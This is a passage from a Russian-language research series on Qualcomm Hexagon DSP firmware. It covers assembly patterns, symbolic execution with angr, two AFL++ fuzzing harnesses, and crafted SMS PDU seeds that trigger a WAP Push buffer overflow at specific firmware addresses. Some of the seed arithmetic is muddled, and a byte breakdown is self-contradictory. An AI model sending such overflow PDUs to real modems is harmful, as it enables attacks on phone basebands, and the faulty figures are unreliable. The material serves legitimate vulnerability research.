; dst → R0, src → R1, n → R2

.caller:
    R0 = R28                ; dst
    R1 = R27                ; src
    R2 = #256               ; n = 256 байт
    call memcpy_checked
    ; R0 теперь содержит return value

; Пролог функции:
memcpy_checked:
    {
        allocframe(#24)     ; выделить кадр стека (24 байта)
        memw(R29 + #0) = R16  ; сохранить callee-saved
    }
    memw(R29 + #4) = R17
    memw(R29 + #8) = R18

; Эпилог:
    {
        R0 = #0             ; return value
        dealloc_return      ; восстановить кадр + return
    }

allocframe(#N) = R29 -= N; memw(R29) = R31; memw(R29+4) = R30

dealloc_return = R31 = memw(R29); R30 = memw(R29+4); R29 += N; jumpr R31

Это нужно знать наизусть при реверсе.

---

## 2.8 Специальные паттерны и антипаттерны

### 2.8.1 Загрузка константы (нет immediate > 16 бит)

Hexagon не может загрузить 32-битную константу за одну инструкцию. Компилятор генерирует:

Code:
R0 = ##0x12345678           ; псевдоинструкция → разворачивается в:
; R0.H = #0x1234            ; hi-16
; R0.L = #0x5678            ; lo-16

Или через:
Code:
R0 = #lo(0x12345678)
R0.H = #hi(0x12345678)

### 2.8.2 Паттерн switch/case

Code:
; switch(R0) с таблицей переходов
R1 = jumptable_base
R0 = asl(R0, #2)             ; R0 *= 4 (размер указателя)
R0 = R0 + R1                 ; адрес записи в таблице
R0 = memw(R0)                ; загрузить адрес case
jumpr R0                     ; перейти

В прошивках это очень частый паттерн — конечные автоматы протоколов.

### 2.8.3 Паттерн memmove с выравниванием

Code:
; Быстрый memmove через memd (double-word)
loop0(.memmove_loop, R2 >> #3)  ; count = len / 8
.memmove_loop:
    R3:2 = memd(R0 ++ #8)       ; load 8 bytes, post-increment src
    memd(R1 ++ #8) = R3:2       ; store 8 bytes, post-increment dst
endloop0

Если R2 не кратно 8 — хвост обрабатывается отдельно. Если хвост не обрабатывается — потенциальный баг.

---

## 2.9 Что дает нам дизассемблер

### IDA Pro + Hexagon Plugin

Qualcomm выпускал официальный IDA-плагин, но он устарел. Актуальный — форк с поддержкой V73.

Полезные горячие клавиши:
  • P — создать функцию из текущего адреса
  • Y — установить тип переменной/функции
  • N — переименовать
  • X — xrefs to

При анализе DSP-кода включи Options → Compiler → Hexagon для правильного распознавания calling convention.

### Ghidra + QDSP6

Более открытый путь. NSA Ghidra поддерживает Hexagon V67+, для V73 может потребоваться патч процессорного модуля.

Killer feature Ghidra для нас — Decompiler. Он генерирует псевдо-C код из Hexagon ассемблера, и это сильно ускоряет реверс.

C:
// Пример вывода Ghidra decompiler для validate_buffer:
int validate_buffer(void *buf, int size) {
    uint magic = *(uint*)buf;
    uint length = *((uint*)buf + 1);
    if (magic != 0xdeadbeef) return -1;
    if (length > (uint)size) return -1;
    // ...
}

---

## 2.10 Практическое упражнение

Примечание: Это учебный псевдокод, иллюстрирующий паттерн heap overflow в RPC-обработчике. Реальный пример подобного паттерна из нашего исследования — в главе 10 (sysmon_usermode_buffer_copy @ 0x33c8).

Паттерн heap overflow в RPC-обработчике:

Code:
; RPC-обработчик (учебный псевдокод)

    allocframe(#32)
    {
        R16 = R0                  ; сохранить первый аргумент
        R17 = R1                  ; сохранить второй
    }
    {
        R0 = memw(R16 + #0)       ; load request->type
        R1 = memw(R16 + #4)       ; load request->handle
    }
    R2 = #0x14                    ; sizeof(response) = 20 bytes HARDCODED
    call malloc                   ; malloc(0x14)
    {
        P0 = cmp.eq(R0, #0)       ; malloc вернул NULL?
        R18 = R0                  ; сохранить указатель
    }
    if (P0) jump .oom_error       ; out of memory

    ; ... обработка
    R0 = memw(R17 + #0)           ; load size из пользовательских данных
    {
        R1 = R18                  ; dst = malloc(0x14) буфер
        R2 = memw(R17 + #4)       ; load src из пользовательских данных
    }
    call memcpy                   ; memcpy(dst, src, size)
    ; НЕТ проверки size перед memcpy → heap overflow

Паттерн: size берётся из пользовательских данных без проверки, malloc выделяет фиксированные 0x14 = 20 байт, memcpy копирует неограниченное количество. Это паттерн heap overflow. Реальный пример этого паттерна в нашем исследовании: sysmon_usermode_buffer_copy @ 0x33c8 — malloc(0x101), затем memscpy(dst, 0x101, src, user_controlled_len) (глава 10).

---

## 2.11 Итог главы

Мы изучили:
  • Регистровый файл Hexagon (R0-R31, P0-P3, C-регистры)
  • Концепцию пакетов VLIW и data forwarding
  • Базовый набор инструкций с примерами
  • Calling convention Hexagon ABI
  • Реальные паттерны из DSP-прошивок
  • Как читать дизассемблированный код

В следующей главе переходим к символьному исполнению — инструменту который позволит нам найти пути достижения уязвимостей автоматически.

---

«Дизассемблер — это не перевод. Это другой язык для описания того же.»


---

# Глава 3. Символьное исполнение: как заставить машину думать за тебя

by progasm

---

## 3.1 Проблема которую мы решаем

Ты смотришь на функцию парсера. 400 строк ассемблера. Восемь условных переходов. Три вложенных цикла. И где-то там — условие при котором происходит целочисленное переполнение. 

Как его найти?

Вариант один: читать руками. Долго, пропускаешь кейсы, устаёшь.

Вариант два: фаззить. Запускать много входных данных и смотреть на краши. Работает, но покрытие неполное — ты никогда не знаешь, добрался ли фаззер до нужной ветки.

Вариант три: символьное исполнение. Пусть инструмент сам найдёт все пути и условия, при которых достигается уязвимое состояние.

---

## 3.2 Что такое символьное исполнение

Обычное конкретное исполнение:

Code:
input = 42
x = input + 1  → x = 43
if (x > 100): ...  → FALSE, ветка не взята

Символьное исполнение:

Code:
input = α  (символ, "неизвестное значение")
x = α + 1  (символическое выражение)
if (x > 100): 
    → Ветка TRUE взята когда: α + 1 > 100 → α > 99
    → Ветка FALSE взята когда: α ≤ 99

Вместо конкретных значений мы работаем с символическими выражениями. При каждом условном переходе программа разветвляется на два состояния. В каждом ветке накапливаются constraints — ограничения на символические переменные.

Когда мы хотим узнать: "при каком входе достигается эта точка?" — мы передаём накопленные constraints в SMT-solver (например Z3), который находит конкретное значение.

Code:
Constraints: { α > 99, α < 256 }
Z3 решение: α = 100  ✓

---

## 3.3 Архитектура symbolic execution engine

Code:
┌─────────────────────────────────────────────────────┐
│              Symbolic Execution Engine              │
│                                                     │
│  ┌──────────────┐    ┌───────────────────────────┐  │
│  │   Binary/    │    │    Symbolic State         │  │
│  │   Program    │───▶│  - Registers (symbolic)   │  │
│  └──────────────┘    │  - Memory (symbolic)      │  │
│                      │  - Path constraints        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  Instruction │              │                    │
│  │  Semantics   │              ▼                    │
│  │  (lifter)    │    ┌───────────────────────────┐  │
│  └──────────────┘    │    State Manager           │  │
│                      │  (fork at branches)        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  SMT Solver  │              │                    │
│  │    (Z3)      │◀─────────────┘                    │
│  └──────────────┘                                   │
└─────────────────────────────────────────────────────┘

Lifter — компонент который транслирует инструкции целевой архитектуры (Hexagon) во внутреннее представление движка (обычно промежуточный язык типа VEX или IR).

State Manager — управляет набором состояний. При ветвлении создаёт копию состояния для каждой ветки.

SMT Solver — решает уравнения с ограничениями.

---

## 3.4 Инструменты

### 3.4.1 angr

angr — Python-фреймворк для binary analysis с поддержкой символьного исполнения. Самый распространённый в security research.

Python:
import angr
import claripy

# Загрузить бинарник (Hexagon ELF)
proj = angr.Project('./libqdspservice.so', 
                    auto_load_libs=False,
                    arch='hexagon')

# Создать символические входные данные
buf_size = 0x100
sym_buf = claripy.BVS('input_buf', buf_size * 8)  # 256 байт символических

# Создать начальное состояние
state = proj.factory.blank_state(
    addr=0x0001A340,   # адрес функции validate_buffer
    add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY}
)

# Положить символический буфер в R0
state.regs.r0 = state.memory.alloc_and_store(sym_buf)
state.regs.r1 = claripy.BVV(0x200, 32)  # size = 512

# Запустить simulation manager
simgr = proj.factory.simulation_manager(state)

# Искать путь к адресу уязвимости, избегать exit/error пути
simgr.explore(
    find=0x0001A400,    # цель: адрес после проверок
    avoid=0x0001A380    # избегать: error return
)

if simgr.found:
    found_state = simgr.found[0]
    # Получить конкретное значение входа
    concrete_input = found_state.solver.eval(sym_buf, cast_to=bytes)
    print(f"Найден входной буфер: {concrete_input.hex()}")

Проблема с Hexagon в angr: поддержка Hexagon в angr была ограниченной. Но начиная с angr 9.x появился lifter для Hexagon V67+ через archinfo и pyvex. Для V73 может потребоваться патчить семантику инструкций вручную.

### 3.4.2 Triton

Triton — C++ движок с Python-биндингами, более низкоуровневый. Хорошо подходит для concolic execution.

Важно: Triton не поддерживает Hexagon из коробки. Поддерживаемые архитектуры: x86, x86-64, AArch32, AArch64. Для Hexagon нужен отдельный lifter, которого в публичном Triton нет. Этот инструмент не применялся в нашем исследовании.

### 3.4.3 KLEE

Работает на уровне LLVM IR. Если у нас есть исходники или LLVM IR для Hexagon кода — KLEE отличный вариант.

Bash:
# Компилируем в LLVM bitcode
clang -target hexagon-unknown-linux-musl \
      -emit-llvm -c dsp_service.c -o dsp_service.bc

# Запускаем KLEE
klee --max-time=60 dsp_service.bc

### 3.4.4 Concolic execution с QEMU

Самый практичный подход для реальных DSP-бинарников: запускаем код в QEMU с Hexagon поддержкой (добавлена в QEMU 6.x), и с помощью QEMU TCG callbacks собираем трассы исполнения для последующего символьного анализа.

Python:
# Псевдокод: конколическое исполнение через QEMU трассу
def concolic_execute(binary, concrete_input):
    trace = qemu_run(binary, concrete_input)  # конкретное исполнение
    constraints = lift_trace_to_smt(trace)     # поднимаем трассу в SMT
    
    # Инвертируем последнюю ветку для нового пути
    new_constraints = constraints[:-1] + [negate(constraints[-1])]
    new_input = z3_solve(new_constraints)
    
    return new_input  # новый ввод который пойдёт по другому пути

---

## 3.5 Symbolic execution для поиска zero-day в QDSP6

### 3.5.1 Где искать

Наиболее интересные места для символьного анализа в DSP-коде:

1. Парсеры протоколов — входные данные приходят извне (через FastRPC), много ветвлений, сложная логика
2. Обработчики команд — switch/case по типам сообщений
3. Функции с malloc+memcpy — классические heap overflow
4. Функции с Integer операциями — переполнения при вычислении размеров

### 3.5.2 Практический подход: поиск heap overflow

Python:
import angr
import claripy

class HeapOverflowDetector(angr.SimProcedure):
    """Перехватчик для memcpy — проверяем size > allocated"""
    
    def run(self, dst, src, size):
        allocated_size = self.state.globals.get('last_malloc_size', None)
        
        if allocated_size is not None:
            # Добавляем assertion: size <= allocated_size
            overflow_condition = claripy.UGT(size, allocated_size)
            
            if self.state.solver.satisfiable(
                extra_constraints=[overflow_condition]
            ):
                # Нашли потенциальный overflow!
                trigger_input = self.state.solver.eval(
                    self.state.globals['sym_input']
                )
                print(f"[!] Heap overflow возможен!")
                print(f"    Входное значение: {hex(trigger_input)}")
                print(f"    Allocated: {self.state.solver.eval(allocated_size)}")
                print(f"    Copy size: {self.state.solver.eval(size)}")
        
        # Добавляем реальное ограничение (нет overflow)
        self.state.solver.add(claripy.ULE(size, claripy.BVV(0x1000, 32)))
        return self._do_memcpy(dst, src, size)

# Хукаем malloc для отслеживания размеров
class TrackingMalloc(angr.SimProcedure):
    def run(self, size):
        self.state.globals['last_malloc_size'] = size
        # Вызываем реальный malloc
        ptr = self.state.heap.malloc(self.state.solver.eval(size))
        return ptr

# Регистрируем хуки
proj.hook_symbol('memcpy', HeapOverflowDetector())
proj.hook_symbol('malloc', TrackingMalloc())

### 3.5.3 Path explosion и как с ним бороться

Главная проблема символьного исполнения — path explosion: количество путей растёт экспоненциально с количеством ветвлений.

Для реального DSP-кода с тысячами функций и миллионами путей это быстро становится неуправляемым.

Стратегии борьбы:

1. Directed symbolic execution — фокусируемся на конкретной функции, не анализируем весь граф:

Python:
# Анализируем только одну функцию, не переходим в другие
simgr = proj.factory.simulation_manager(state)
simgr.use_technique(angr.exploration_techniques.DFS())  # depth-first

# Ограничиваем глубину
simgr.explore(
    find=target_addr,
    avoid=avoid_addrs,
    step_func=lambda sm: sm.move(
        from_stash='active',
        to_stash='pruned',
        filter_func=lambda s: s.history.depth > 1000  # обрезаем глубокие пути
    )
)

2. State merging — объединяем похожие состояния:

Python:
simgr.use_technique(angr.exploration_techniques.Veritesting())

3. Under-constrained symbolic execution — анализируем функцию с "любыми" входами, не только из конкретных путей вызова:

Python:
state = proj.factory.blank_state(addr=func_addr)
# Все регистры и память — символические по умолчанию

4. Hybrid fuzzing — используем символьное исполнение только для генерации сидов, а fuzzer для массового тестирования. Это самый рабочий подход на практике.

---

## 3.6 Применение angr в нашем исследовании

В данном исследовании angr применялся для taint-анализа libsysmon_skel.so через fastrpc_analysis.py. Не полный symbolic execution, а taint-tracking: отслеживаем как данные из _pra (контролируемого атакующим) достигают memory operations без bounds check.

Python:
# Из fastrpc_analysis.py — реальный код:
# Taint tracking: _pra → r16 → memb(r16+#0)
#
# Approach: ищем инструкции вида memb(rX+#imm) = rY
# где rX помечен как tainted (происходит из _pra)
# и перед этой инструкцией нет cmp.gtu для rX
#
# Результат: 56 HIGH срабатываний в sysmon_skel_invoke
# Адреса: 0xa7e8, 0xa7f0, 0xa7fc, 0xa804, ... (см. главу 10)

Полный symbolic execution (simgr.explore) на функциях такого размера (sysmon_skel_invoke — 8684 байта) в нашей установке не сходился из-за path explosion. Использовался pattern-scanner dsp_vuln_finder.py как более надёжный инструмент.

Пример generic использования angr для поиска overflow (учебный код):

Python:
import angr
import claripy

# Загрузить skel .so
proj = angr.Project('libs/libsysmon_skel.so', auto_load_libs=False)

# Символический _sc + _pra
sc  = claripy.BVS('_sc',  32)
pra = claripy.BVS('_pra_data', 256 * 8)

state = proj.factory.blank_state(addr=0x9cac)  # sysmon_skel_invoke
state.regs.r2 = sc    # _sc
state.regs.r3 = claripy.BVV(0x10000, 32)
state.memory.store(0x10000, pra)

simgr = proj.factory.simulation_manager(state)
# Цель: OOB dispatch table read @ 0x9ccc
simgr.explore(find=0x9ccc, avoid=0x9d00)

Ограничения которые столкнулись: angr's Hexagon lifter (через pyvex) не поддерживает ряд инструкций V73 — особенно специфичные compound operations. Поэтому основной анализ выполнялся через llvm-objdump + Python pattern matching.

---

## 3.7 Ограничения символьного исполнения

Буду честным — символьное исполнение не серебряная пуля:

1. Path explosion — реальные бинарники слишком сложны для полного анализа
2. Неточная семантика — если lifter неверно транслирует Hexagon инструкцию, анализ даёт неверные результаты
3. Системные вызовы и IPC — взаимодействие с QuRT сложно моделировать
4. Криптография — символьный анализ через SHA/AES практически неработоспособен
5. Время — сложный анализ может занимать часы/дни

На практике: symbolic execution используется точечно — для верификации конкретной гипотезы или для генерации crash-кейсов, а не для "сканирования всего бинарника".

---

## 3.8 Интеграция с остальным процессом

Code:
Статический анализ → находим подозрительные функции
         ↓
Symbolic execution → генерируем входы достигающие этих функций
         ↓
Fuzzer → используем эти входы как seed corpus
         ↓
Краш → анализируем → эксплоит

Символьное исполнение — это звено в цепочке, не самостоятельный инструмент.

---

## 3.9 Итог главы

  • Symbolic execution заменяет конкретные значения символическими и автоматически находит условия достижения любой точки кода
  • Z3 как SMT-solver решает ограничения и даёт конкретные входные значения
  • angr — главный инструмент для практики, требует настройки для Hexagon
  • Path explosion — главная проблема, решается фокусировкой и гибридными методами
  • В контексте QDSP6 наиболее ценен для анализа парсеров протоколов

В следующей главе — harness: как правильно подготовить цель для фаззинга и символьного анализа.

---

«Symbolic execution не ищет баги. Оно ищет условия. Баги — твоя интерпретация.»


---

# Глава 4. Harness: sms_harness.c и harness_wms.S

by progasm

---

## 4.1 Задача

Цель — дать AFL++ возможность вызывать wms_ts_decode_gw_pp (адрес 0xbbd70b48 в сегменте b08) с произвольным входом без реального QuRT-окружения и без живого модема. Функция ожидает сложную WMS-структуру, обращается к глобальному состоянию, звонит в qurt_mutex_lock, пишет в DIAG-лог. Всё это нужно либо смоделировать, либо заглушить.

Два harness-файла решают разные слои:

  • sms_harness.c — Linux ELF для Hexagon, читает PDU из stdin, строит sms_deliver_t, детектирует краш через null deref
  • harness_wms.S — ассемблерный loader: патчит b27 стабы, настраивает стек в BSS, вызывает wms_ts_decode_gw_pp напрямую по адресу прошивки

---

## 4.2 sms_harness.c

### Syscall wrapper

Hexagon Linux ELF без libc. Системные вызовы через trap0(#1) — стандартный Hexagon Linux ABI:

C:
static inline long __syscall(long nr,
    long a0, long a1, long a2, long a3, long a4, long a5)
{
    register long r0 __asm__("r0") = a0;
    register long r1 __asm__("r1") = a1;
    register long r2 __asm__("r2") = a2;
    register long r3 __asm__("r3") = a3;
    register long r4 __asm__("r4") = a4;
    register long r5 __asm__("r5") = a5;
    register long r6 __asm__("r6") = nr;
    __asm__ volatile (
        "trap0(#1)"
        : "+r"(r0)
        : "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r6)
        : "memory"
    );
    return r0;
}

Обёртки поверх него:

C:
static long sys_read(int fd, void *buf, size_t count) {
    return __syscall(63, fd, (long)buf, count, 0, 0, 0);
}
static long sys_write(int fd, const void *buf, size_t count) {
    return __syscall(64, fd, (long)buf, count, 0, 0, 0);
}
static void sys_exit(int code) {
    __syscall(93, code, 0, 0, 0, 0, 0);
}

### Структура sms_deliver_t

Моделирует внутреннее WMS-состояние, которое ожидает wms_ts_decode_gw_pp:

C:
#define WAP_PUSH_PORT    0x0B84
#define WAP_PUSH_BUF     140    /* реальный размер буфера в WMS, b08 */
#define MAX_USER_DATA    160

typedef struct {
    uint8_t  smsc_len;           /* +0x00 */
    uint8_t  tp_flags;           /* +0x01: SMS-DELIVER=0x04, UDHI=0x40 */
    uint8_t  tp_oa[12];          /* +0x02: originating address */
    uint8_t  tp_pid;             /* +0x0E */
    uint8_t  tp_dcs;             /* +0x0F */
    uint8_t  tp_scts[7];         /* +0x10: timestamp */
    uint8_t  tp_udl;             /* +0x17: user data length */
    uint8_t  user_data[MAX_USER_DATA]; /* +0x18 */

    /* Parsed fields — заполняются harness'ом */
    uint16_t wap_dst_port;       /* извлекается из UDH IEI=0x05 */
    uint16_t wap_src_port;
    uint8_t  wap_copy_len;       /* длина полезной нагрузки после UDH */
} sms_deliver_t;

### WAP Push детекция и краш-примитив

Harness разбирает UDH вручную. Если dst_port == 0x0B84 и wap_copy_len > WAP_PUSH_BUF — гарантированный путь через баг:

C:
static void parse_udh(sms_deliver_t *s) {
    if (!(s->tp_flags & 0x40)) return;   /* нет UDHI */

    uint8_t *ud  = s->user_data;
    uint8_t  udh = ud[0];                /* длина UDH без самого байта длины */
    uint8_t  pos = 1;

    while (pos < udh + 1) {
        uint8_t iei = ud[pos];
        uint8_t iel = ud[pos + 1];
        if (iei == 0x05 && iel == 0x04) {        /* Application Port 16-bit */
            s->wap_dst_port = (ud[pos+2] << 8) | ud[pos+3];
            s->wap_src_port = (ud[pos+4] << 8) | ud[pos+5];
        }
        pos += 2 + iel;
    }

    /* payload начинается сразу после UDH */
    uint8_t payload_off = udh + 1;
    s->wap_copy_len = (s->tp_udl > payload_off)
                      ? s->tp_udl - payload_off : 0;
}

static void check_crash(const sms_deliver_t *s) {
    if (s->wap_dst_port == WAP_PUSH_PORT &&
        s->wap_copy_len  > WAP_PUSH_BUF) {
        volatile uint8_t *null_ptr = (volatile uint8_t *)0;
        *null_ptr = 0xFF;   /* SIGSEGV → AFL++ crash */
    }
}

*null_ptr = 0xFF — намеренный null deref. AFL++ видит SIGSEGV (sig:11) и сохраняет input в crashes/.

### Основной поток

C:
void _start(void) {
    uint8_t buf[256];
    long    n;

    n = sys_read(0, buf, sizeof(buf));
    if (n < 2) sys_exit(0);

    sms_deliver_t s;
    __builtin_memset(&s, 0, sizeof(s));

    s.smsc_len  = buf[0];
    s.tp_flags  = buf[1];

    /* копируем остаток как user_data */
    long copy = n - 2;
    if (copy > (long)sizeof(s.user_data)) copy = sizeof(s.user_data);
    __builtin_memcpy(s.user_data, buf + 2, copy);

    /* tp_udl — первый байт user_data в упрощённой модели */
    s.tp_udl = s.user_data[0];

    parse_udh(&s);
    check_crash(&s);

    sys_exit(0);
}

### Сборка и запуск

Bash:
clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static -O2 \
         -o /tmp/sms_harness_hex \
         sms_harness.c

# тест на valid WAP Push (не должен крашить)
qemu-hexagon /tmp/sms_harness_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # 0

# тест overflow (SIGSEGV)
qemu-hexagon /tmp/sms_harness_hex < seeds/03_wap_overflow.pdu
echo "exit: $?"   # 139

---

## 4.3 harness_wms.S

Ассемблерный harness работает иначе: он не моделирует WMS — он запускает реальный бинарный код прошивки в QEMU usermode, патча только то, что мешает.

### Адреса

Code:
.equ WMS_ENTRY,    0xbbd70b48  /* wms_ts_decode_gw_pp, b08 r-x */
.equ QURT_LOCK,    0xbbb07498  /* qurt_mutex_lock в b27        */
.equ DIAG_LOG,     0xbbb02e80  /* diag_log_alloc в b27         */
.equ WMS_SLOT_BASE,0xc2a78000  /* BSS: WMS структуры (b23/b24) */
.equ WAP_BUF_OFF,  0xad8       /* offset буфера = 0xc2a78ad8   */
.equ STACK_TOP,    0xc2d9ff00  /* вершина стека из BSS         */

### Патч b27 стабов

Все вызовы в b27 (qurt-стабы, DIAG) заменяются на { jumpr r31 } — NOP-return. Опкод Hexagon для jumpr r31:

Code:
.equ RET_OPCODE, 0x529fc000    /* { jumpr r31 } */

Процедура патча:

Code:
patch_stub:
    /* r0 = адрес стаба */
    { r1 = ##RET_OPCODE }
    { memw(r0+#0) = r1 }       /* записываем { jumpr r31 } */
    { jumpr r31 }

_start:
    /* патчим QURT_LOCK */
    { r0 = ##QURT_LOCK }
    { call patch_stub }

    /* патчим DIAG_LOG */
    { r0 = ##DIAG_LOG }
    { call patch_stub }

После патча: вызов 0xbbb07498 мгновенно возвращается, не пытаясь взять мьютекс QuRT. Вызов 0xbbb02e80 тоже — DIAG лог пропускается, но важно: wms_ts_decode_gw_pp продолжает исполнение (именно это и является бугом — см. главу 8).

### Инициализация стека

QEMU usermode не знает о BSS прошивки. Стек инициализируем принудительно из BSS-адреса:

Code:
    { r29 = ##STACK_TOP }       /* SP = 0xc2d9ff00 */
    { r30 = #0 }                /* FP = 0         */
    { r31 = ##halt_addr }       /* LR → halting label */

Почему BSS? Сегмент b27 (0xbbb00000, rwx) и BSS данных (0xc2a78000) маппируются через ELF loadable segments, которые QEMU читает из прошивочного ELF. Стек в 0xc2d9ff00 — в конце этой области, достаточно далеко от WAP-буфера по адресу 0xc2a78ad8.

### Подготовка входного буфера

PDU читается из stdin в область WMS_SLOT_BASE + WAP_BUF_OFF:

Code:
    { r0 = #0 }                         /* fd = stdin */
    { r1 = ##(WMS_SLOT_BASE + WAP_BUF_OFF) }
    { r2 = #256 }
    { r6 = #63 }                        /* SYS_read */
    trap0(#1)
    { r19 = r0 }                        /* сохраняем bytes_read */

### Вызов цели

Code:
    /* r0 = указатель на WMS slot (первый аргумент) */
    { r0 = ##WMS_SLOT_BASE }
    /* r1 = длина прочитанных данных */
    { r1 = r19 }
    { call ##WMS_ENTRY }                /* wms_ts_decode_gw_pp */

Если path через 0xbbd70d84 не aborted (а он не aborted — обе ветки сходятся в 0xbbd70dc8) — функция выполнит копирование. При r24 > 140 это выйдет за WAP_PUSH_BUF. На реальном железе — corruption. В harness с null deref детектором — SIGSEGV.

### Сборка harness_wms.S

Bash:
clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static \
         -o /tmp/harness_wms_hex \
         harness_wms.S

# Запуск с seed overflow
qemu-hexagon /tmp/harness_wms_hex < seeds/03_wap_overflow.pdu

---

## 4.4 Почему два harness

| | sms_harness.c | harness_wms.S |
|---|---|---|
| Что вызывает | смоделированный путь | реальный wms_ts_decode_gw_pp |
| Откуда берёт код | собственный C | бинарник прошивки |
| Патчит стабы | нет (не нужно) | да, через RET_OPCODE |
| Годится для AFL++ | да, быстро | да, медленнее |
| Верифицирует реальный баг | нет | да |

sms_harness.c — скоростной harness для AFL++, ~452 exec/s. harness_wms.S — для верификации что конкретный адрес 0xbbd70d84 действительно уязвим.

---

## 4.5 Coverage

В dumb-режиме (-n) AFL++ не использует coverage bitmap. Это сделано намеренно — QEMU Hexagon не интегрирован с AFL++ QEMU instrumentation. Подробности в главе 6.

---

Следующая глава — корпус: PDU которые мы подаём в harness.


---

# Глава 5. Корпус: реальные PDU

by progasm

---

## 5.1 Принцип

Корпус для этого исследования — не «репрезентативные примеры». Это конкретные SMS PDU, каждый из которых проверяет отдельное условие в wms_ts_decode_gw_pp. Harness в dumb-режиме (-n) работает без coverage — качество начального корпуса напрямую определяет что найдёт AFL++.

Цель при составлении корпуса: покрыть все ветки вокруг двух багов.

Баг 1 (адрес 0xbbd70d84): cmph.gtu(r24, ##0x8c) — r24 (wap payload len) против 140. Оба пути (pass и fail) идут в 0xbbd70dc8, copy выполняется всегда.

Баг 2 (UDL gap): проверка tp_udl по адресу 0xbbd20808 — cmp.gtu(r20, #0xa0) против 160, а не 140. Значения 141–160 не отвергаются на уровне UDL, но переполняют 140-байтовый WAP буфер.

---

## 5.2 Seed 01 — минимальный SMS-DELIVER

Code:
01 00

Два байта: smsc_len=01, tp_flags=00. Нет UDHI, нет WAP-порта. Harness возвращает 0 без краша. Нужен как базовая точка — фаззер мутирует его и случайно выставит нужные биты в tp_flags.

Почему важен: мутация tp_flags |= 0x40 создаёт UDHI-бит. Мутация длины может попасть на tp_udl > 160.

---

## 5.3 Seed 02 — валидный WAP Push

Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

Полный разбор байт за байтом:

Code:
Offset  Hex   Значение
------  ----  --------
0x00    04    smsc_len = 4 (4 байта SMSC номера следуют)
0x01    91    tp_flags:
                bit7=1 (RP), bit6=1 (UDHI), bit0=0 → SMS-DELIVER
                0x91 = 1001 0001
0x02-05 11 22 33 40   tp_oa (originating address, BCD)
0x06    06    длина OA = 6 знаков
0x07    91    OA type of address (international, E.164)
0x08-0B 10 32 54 00   OA digits BCD
0x0C    00    tp_pid = 0
0x0D    10    tp_dcs = 0x10 (8-bit data)
0x0E-14 60 12 31 72 80 00 12   tp_scts (timestamp, 7 bytes)
0x15    06    tp_udl = 6 (User Data Length: 6 байт после UDH)

         ← начало User Data →
0x16    05    UDH Length = 5 байт
0x17    05    IEI = 0x05 (Application Port Addressing, 16-bit)
0x18    04    IE Length = 4
0x19-1A 0b 84  Destination Port = 0x0B84 = 2948 (WAP Push)
0x1B-1C 0b 84  Source Port      = 0x0B84

         ← WAP payload (после UDH) →
0x1D    57 41 50 20 63 6f 6e 74 65 6e 74
        "WAP content" (11 байт, но tp_udl=6 → реально читается 6)

wap_copy_len = tp_udl - (udh_len + 1) = 6 - 6 = 0. Нет копирования. Не крашит.

Почему важен: единственный seed с правильным форматом WAP Push. Фаззер мутирует tp_udl (байт 0x15) в сторону увеличения → попадает в баги.

---

## 5.4 Seed 03 — WAP Push overflow

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
Далее 136 байт 0x41 ('A'):
Code:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41

Разбор:

Code:
0x00    01    smsc_len = 1
0x01    00    tp_flags = 0x00 (SMS-DELIVER, без UDHI)
0x02    40    — начало user_data в упрощённой модели harness
0x03    06    —
...
0x11    8f    tp_udl = 0x8F = 143

        UDH:
0x12    06    UDH Length = 6
0x13    05    IEI = Application Port 16-bit
0x14    04    IE Length = 4
0x15-16 0b 84  dst_port = 0x0B84
0x17-18 12 34  src_port = 0x1234

        WAP payload = 136 байт 'A'

wap_copy_len = tp_udl - (udh_len + 1) = 143 - 7 = 136

136 < 140 → cmph.gtu(r24, ##0x8c) не срабатывает (136 ≤ 140). Но при реальном запуске в harness_wms.S — функция пытается скопировать данные в буфер. Здесь нет краша; это граничный случай чуть ниже лимита.

Чтобы сделать полный overflow: нужно tp_udl = 0x8f + 1 = 0x90 → wap_copy_len = 137 - 7 + 7 = ... Поправка: с tp_udl=0x8f=143 и UDH=7 байт, payload = 136. Для overflow нужно payload > 140, то есть tp_udl ≥ 147 = 0x93. Реальный crash seed AFL++ нашёл с tp_udl = 0xed = 237.

Почему нужен этот seed: он проходит WAP-порт детекцию и даёт фаззеру правильный шаблон с которого до overflow — один мутированный байт.

---

## 5.5 Seed 04 — tp_udl = 0xA0 (граница UDL gap)

Code:
01 40 8a 06 05 04 0b 84 23 f0
Плюс 138 байт 0x42.

Code:
tp_flags = 0x40 (UDHI set)
tp_udl   = 0x8a = 138 — ровно на границе
UDH      = 6 байт (IEI=05, len=04, dst=0x0B84, src=0x23F0)
payload  = 138 - 7 = 131 байт

131 < 140 → в пределах буфера. Seed для мутации в область UDL gap (141–160).

Почему важен: AFL++ мутирует byte tp_udl с 0x8a до 0x8d–0xa0. Значения в диапазоне 141–160 (0x8d–0xa0) проходят проверку cmp.gtu(r20, #0xa0) — не превышают 0xa0 — но переполняют WAP_PUSH_BUF.

---

## 5.6 Seed 05 — tp_udl в UDL gap (0x8d = 141)

Code:
01 40 8d 06 05 04 0b 84 23 f0
Плюс 141 байт 0x43.

Code:
tp_udl = 0x8d = 141
payload = 141 - 7 = 134 байт

134 > WAP_PUSH_BUF (140)? Нет, 134 < 140. Пересчитаем: UDH = udh_len_byte(1) + 6 = 7. Payload = 141 - 7 = 134. Всё ещё в пределах.

